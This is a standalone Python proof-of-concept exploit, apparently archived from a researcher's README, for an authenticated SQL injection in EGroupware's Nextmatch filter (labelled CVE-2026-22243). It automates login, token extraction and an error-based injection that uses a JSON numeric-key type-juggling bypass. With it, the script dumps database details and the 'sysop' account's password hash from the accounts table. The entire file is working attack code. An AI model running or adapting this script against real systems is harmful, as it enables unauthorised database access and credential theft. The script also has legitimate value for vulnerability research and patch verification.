#!/usr/bin/env python3 """ CVE-2026-22243 - EGroupware Nextmatch filter authenticated SQL injection PoC. Extracted from the researcher's README (embedded exploit script) and saved here as a standalone file for the archive. Automates: login -> exec_id extraction -> error-based SQL injection via the Nextmatch `col_filter` array, exploiting a PHP type-juggling issue where json_decode() turns numeric string keys (e.g. "0") into integers, which bypasses an is_int() trust check used to decide whether a filter value is appended unsanitized to the SQL WHERE clause. Usage: python3 exploit.py [BASE_URL] [LOGIN_USER] [LOGIN_PASS] Example: python3 exploit.py http://localhost:8088/egroupware sysop password123 """ import requests import re import sys import urllib3 # Suppress SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # CLI Configuration BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware" LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop" LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123" session = requests.Session() session.verify = False session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" }) def extract_form_inputs(html): inputs = {} matches = re.findall(r']+>', html) for match in matches: name_m = re.search(r'name=["\']([^"\']+)["\']', match) value_m = re.search(r'value=["\']([^"\']*)["\']', match) if name_m: name = name_m.group(1) value = value_m.group(1) if value_m else "" inputs[name] = value return inputs def login(): print(f"[*] Target: {BASE_URL}") login_url = f"{BASE_URL}/login.php" try: print("[*] Retrieving login form...") r_get = session.get(login_url, timeout=10) data = extract_form_inputs(r_get.text) data.update({ "login": LOGIN_USER, "passwd": LOGIN_PASS, "submitit": "Login", "passwd_type": "text" }) if 'cancel' in data: del data['cancel'] print(f"[*] Attempting login as: {LOGIN_USER}...") r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15) if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text: print("[-] Login failed. Server returned login form.") return False print("[+] Login successful.") return True except Exception as e: print(f"[-] Critical error during login: {e}") return False def get_exec_id(): print("[*] Retrieving exec_id...") url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index" try: r = session.get(url, timeout=10) match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text) if match: eid = match.group(1) print(f"[+] ID found: {eid}") return eid else: if 'name="passwd"' in r.text: print("[-] Session expired or login failed.") else: print("[-] exec_id pattern not found in source code.") except Exception as e: print(f"[-] Error retrieving ID: {e}") return None def run_query(eid, sql): full = "" url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows" print(f"[*] Executing SQLi: {sql}") for offset in range(1, 201, 30): chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)" payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))" post_data = { "request": { "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}] } } try: r = session.post(url, json=post_data, timeout=10) match = re.search(r"XPATH syntax error: '~(.*)~'", r.text) if not match: match = re.search(r"~([^~]+)~", r.text) if match: chunk = match.group(1) if "..." in chunk: chunk = chunk.replace("...", "") full += chunk if len(chunk) < 1: break else: break except Exception as e: print(f"[-] Query error: {e}") break return full if full else "NO DATA / ERROR" if __name__ == "__main__": if login(): eid = get_exec_id() if eid: print("\n" + "="*40) print(" SQL INJECTION RESULTS ") print("="*40) print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}") print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}") print(f"[+] DB User: {run_query(eid, 'SELECT user()')}") print("\n[*] Retrieving hash for 'sysop' user (if exists):") res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'") print(f" > {res}") print("="*40 + "\n")